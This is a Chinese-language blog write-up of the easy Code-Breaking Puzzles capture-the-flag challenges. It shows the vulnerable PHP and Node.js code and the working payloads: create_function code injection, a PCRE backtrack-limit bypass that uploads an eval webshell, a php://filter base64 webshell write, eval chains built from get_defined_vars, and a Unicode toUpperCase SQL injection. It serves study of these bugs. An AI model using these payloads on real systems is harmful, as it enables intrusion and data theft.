V0W's Blog

知识星球-代码审计Codebreak部分WP

字数统计: 2,712阅读时长: 12 min
2019/01/16 Share

前言

最近既忙又懒,终于放了寒假,想起来看看p牛的CodeBreaking-Puzzles,学习一波。这里给P总的代码审计知识星球 小密圈打个广告,满满干货,个个都是人才,我超喜欢里面的。另外,很感谢网上现有的一些WP,帮助我这个菜鸡理解漏洞和学习。

easy - function

1
2
3
4
5
6
7
8
9
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}

第一题,就把我难住了,感叹一下自己有多菜。。。

其实代码逻辑很简单:

  1. 这里??是php7+的用法,$_GET[‘action’]非空则 $action = $_GET[‘action’]

  2. 应该是利用action做函数名来执行命令,但$action的首尾做了正则限制,不能直接是函数名。

P神小密圈说到的方式用\可以绕过。原因就是\funciton是php原生函数的写法,就是以命名空间+函数名的方法来表示函数。而原生函数的命名空间是”\”。这种用法倒是在tp框架里见过,当调用一个类的时候会指明命名空间”\think\db”。

接着就是调用Create_function函数来代码注入了,具体原理参考:http://blog.51cto.com/lovexm/1743442

禁用了system()函数,exec()函数passthru()函数shell_exec()函数,popen()

1
2
3
http://51.158.75.42:8087/?action=\create_function&arg=;}system('ls');//

Warning: system() has been disabled for security reasons in /var/www/html/index.php(8) : runtime-created function on line 1

file_put_contents也没有写权限。只剩下file_get_contensprint_r可用。

参考王一航表哥的博客,花式列目录,花式读文件

paylaod

1
2
3
4
http://51.158.75.42:8087/?action=\create_function&arg=;}print_r(glob(%22../*%22));//
Array ( [0] => ../flag_h0w2execute_arb1trary_c0de [1] => ../html )

http://51.158.75.42:8087/?action=\create_function&arg=;}print_r(file_get_contents(%27../flag_h0w2execute_arb1trary_c0de%27));//

easy - pcrewaf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);

header("Location: $path", true, 303);
}

代码逻辑很简单,对上传的文件内容做正则检测,不符合正则形式,就进行跳转执行。

问题就落在了,如何绕过这个正则检测preg_match函数。

PRCE&分析

谷歌PCRE特性,得到一篇解释的比较不错的文章——深悉正则(pcre)最大回溯/递归限制

PRCE使用NFA正则引擎。

NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态。

这是一种费贪婪匹配,非贪婪模式匹配原理简单来说是, 在可配也可不配的情况下(如 .* ), 优先不匹配. 记录备选状态, 并将匹配控制交给正则表达式的下一个匹配字符, 当之后的匹配失败的时候, 再回溯, 进行匹配.

NFA其实就像是用栈的结构来存储匹配成功的字符串,如果匹配不到下一个,则出栈进行上一个字符串匹配。

1
2
3
4
5
6
举例:

1. 源字符串: aaab
2. 正则: .*?b

匹配过程开始的时候, “.*?”首先取得匹配控制权, 因为是非贪婪模式, 所以优先不匹配, 将匹配控制交给下一个匹配字符”b”, b”在源字符串位置1匹配失败(“a”), 于是回溯, 将匹配控制交回给”.*?”, 这个时候, “.*?”匹配一个字符”a”, 并再次将控制权交给”b”, 如此反复, 最终得到匹配结果, 这个过程中一共发生了3次回溯

知道了这个,于是看这个题:

1
preg_match('/<\?.*[(`;?>].*/is', $data)

如果我们输入<?php print;abcd

正则的匹配控制权会先转移给 [(`;?>]. 于是先把<?php print;abcd当做备选,然后发现d匹配不上这段正则,于是回溯到<?php print;abc,发现c也匹配不到,回溯到b,…,最终回溯到;结束。

但是PHP为了防止回溯次数过多,发生拒绝服务,会有一个回溯限制。该回溯限制,可以查看,5.2以后的版本回溯次数是1000000,超过这个次数还没有匹配到,则会返回false。

1
2
3
4
5
root@ubuntu:/home/ldl# php -a
Interactive mode enabled

php > var_dump(ini_get('pcre.backtrack_limit'));
string(7) "1000000"

POC

1
2
3
4
5
<?php
$f = fopen("poc.txt", "w");
$msg = "<?php @eval(\$_POST['cmd']);?>".str_repeat("v",1000000);
fwrite($f,$msg);
fclose($f);

这里我傻了一下,没有先看phpinfo的禁用函数,使劲用system(),怎么都没回显,害得我还以为是我上传出了问题。发现禁用了一些危险函数:

换一些payload,可以读目录和文件:

1
2
cmd=print_r(scandir('../../../'));
cmd=readfile('../../../flag_php7_2_1s_c0rrect');

easy - phpmagic

功能上很明显直接用一个dig 命令查看一个可控的域名,记录到可控的日志中。

关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php 
if(isset($_GET['read-source'])) {
exit(show_source(__FILE__));
}

define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));

if(!is_dir(DATA_DIR)) {
mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);

$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');

if(!empty($_POST) && $domain):
$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
$output = shell_exec($command);

$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);

$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
file_put_contents($log_name, $output);
}

echo $output;
endif;
?>

我们能控制文件名和文件内容,但是文件内容被htmlspecialchars函数过滤了一次,尖括号没了,所以想直接写一个webshell是不可能的。

php://filter&file_put_contents

这里涉及到一个php黑魔法,php://filter只要是传filename的地方,基本都可以传协议流

以前见到的情况和套路都是include()、file_get_contents()的参数可控,我们用php://filter/read配合base64-encode可以把文件编码成base64后输出。没想到file_put_contents文件名可控时也有magic

当我们可控的文件名$filename传入参数php://filter/write=convert.base64-encode/resource=shell.php$data传入djB3IHRlc3Q=时,file_put_contents($file,$text)执行的内容如下:

几个trick

那么思路也就很清晰了,我们可以通过这个方法向服务器写shell,但是还存在几个问题:

  1. 后缀名过滤真的很严格

  2. $log_name之前会加上$_SERVER['SERVER_NAME'],似乎是不完全可控文件名

第一、如何绕过文件检测,这里用到一个trick:php & apache2 &操作系统之间的一些黑魔法还有https://github.com/vulhub/vulhub/tree/master/httpd/CVE-2017-15715

可以使用/.或者\x0a绕过。

第二、查看手册,发现我们可以通过修改HTTP headers中的Host的值从而控制$_SERVER[‘SERVER_NAME’]`。那么文件名我们也完全可控了。

Note: 在 Apache 2 里,必须设置 UseCanonicalName = On 和 ServerName。 否则该值会由客户端提供,就有可能被伪造。 上下文有安全性要求的环境里,不应该依赖此值。

第三、base64在解码时,如果参数中有非法字符(不在上面64个字符内的),就会跳过。(至少在php中是这样的)还有一点需要注意base64中的=只能出现在最末尾,而我们插入的字符串是在中间的,所以我们插入的字符串里不能有=

poc

1
2
>>> base64.b64encode("<?php @eval($_REQUEST['123']);?>")
'PD9waHAgQGV2YWwoJF9SRVFVRVNUWycxMjMnXSk7Pz4='

easy - phplimit

1
2
3
4
5
6
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}

这个题目现在看,好像很简单。code参数传入一个执行的函数,与前面匹配的话,就执行。

关键是一个?R的用法,不太明白也是参考这篇理解正则表达式中的(?R)递归才有所发现:

?R 表示正则递归匹配,

在这道题里,就是按照递归的方式一直匹配/[^\W]+\((?R)?\)/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$func1 = "a(b(c()));";
$func2 = "a((b());";
$func3 = "a(b(c(parmer)));";

print preg_replace('/[^\W]+\((?R)?\)/', '', $func1);
print "\n";
print preg_replace('/[^\W]+\((?R)?\)/', '', $func2);
print "\n";
print preg_replace('/[^\W]+\((?R)?\)/', '', $func3);

输出:
;
a(();
a(b(c(parmer)));[Finished in 0.1s]

就是说,匹配的函数具有这样的特点:

  1. 函数可以嵌套,最多一个参数
  2. 最里面的函数没有参数

容易找到一些payload:

1
2
3
4
?code=phpinfo();
?cmd=print(readdir(opendir(getcwd()))); 可以列目录
?cmd=print(readfile(readdir(opendir(getcwd())))); 读文件
?cmd=print(dirname(dirname(getcwd()))); print出/var/www

有的师傅们用了get_defined_vars()获取http请求头。其实这个之前在打awd时上流量监控部分用到过,appache可以用getallheaders()来获取http头,但是nginx没有这个函数,可以用了get_defined_vars(),通过current()、next()进而选择可控参数,

poc

1
2
?code=eval(next(current(get_defined_vars())));&next=var_dump(scandir('../'));
?code=eval(next(current(get_defined_vars())));&next=var_dump(readfile('../flag_phpbyp4ss'));

看了大佬们的其他payload

  1. 利用session_id函数,session可控。

    1
    2
    3
    http://51.158.75.42:8084/?code=eval(hex2bin(session_id(session_start())));

    PHPSESSID=7072696e745f722866696c655f6765745f636f6e74656e747328222e2e2f666c61675f7068706279703473732229293b
  2. 熟练运用文件操作函数和next指针函数0rz

    1
    2
    ?code=print_r(scandir(dirname(chdir(dirname(getcwd()))))); 
    code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));

easy – nodechr

数据库结构:

1
2
3
4
5
6
7
8
9
10
await db.exec(`CREATE TABLE "main"."users" (
"id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
"username" TEXT NOT NULL,
"password" TEXT,
CONSTRAINT "unique_username" UNIQUE ("username")
)`)
await db.exec(`CREATE TABLE "main"."flags" (
"id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
"flag" TEXT NOT NULL
)`)

关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function safeKeyword(keyword) {
if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
return keyword
}

return undefined
}

async function login(ctx, next) {
if(ctx.method == 'POST') {
let username = safeKeyword(ctx.request.body['username'])
let password = safeKeyword(ctx.request.body['password'])

let jump = ctx.router.url('login')
if (username && password) {
let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)

if (user) {
ctx.session.user = user

jump = ctx.router.url('admin')
}

}

ctx.status = 303
ctx.redirect(jump)
} else {
await ctx.render('index')
}
}

先将用户名和密码通过safe过滤,因为会过滤select,没办法直接注入,但是注意到其SQL语句用到一个函数:

toUpperCase()

1
let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)

这个函数在带头师傅的Unicode安全与p牛的Fuzz中的javascript大小写特性均有提及,可以通过unicode的一些其他字符经过toUpperCase()变成英文字符,如S,从而绕过过滤。

其中混入了两个奇特的字符”ı”、”ſ”。

​ 这两个字符的“大写”是I和S。也就是说”ı”.toUpperCase() == ‘I’,”ſ”.toUpperCase() == ‘S’。通过这个小特性可以绕过一些限制。

把用户名和密码置空,后面用union查询flag,设置的session就是flag。

payload:

1
username=0&password=0' unıon ſelect 1,flag,3 from flags where '1'='1

还发现很多语句会导致服务器500错误,推测是云服务过了限制如#


未完待更。

参考链接

  1. 深悉正则(pcre)最大回溯/递归限制
  2. 花式列目录,花式读文件
  3. http://blog.51cto.com/lovexm/1743442
  4. http://hpdoger.me/2018/12/21/Code-Breaking-Puzzles%20WriteUp
  5. Unicode安全
  6. Fuzz中的javascript大小写特性
CATALOG
  1. 1. 前言
  2. 2. easy - function
    1. 2.0.1. paylaod
  • 3. easy - pcrewaf
    1. 3.0.1. PRCE&分析
    2. 3.0.2. POC
  • 4. easy - phpmagic
    1. 4.0.1. php://filter&file_put_contents
    2. 4.0.2. 几个trick
    3. 4.0.3. poc
  • 5. easy - phplimit
    1. 5.0.1. poc
  • 6. easy – nodechr
  • 7. 参考链接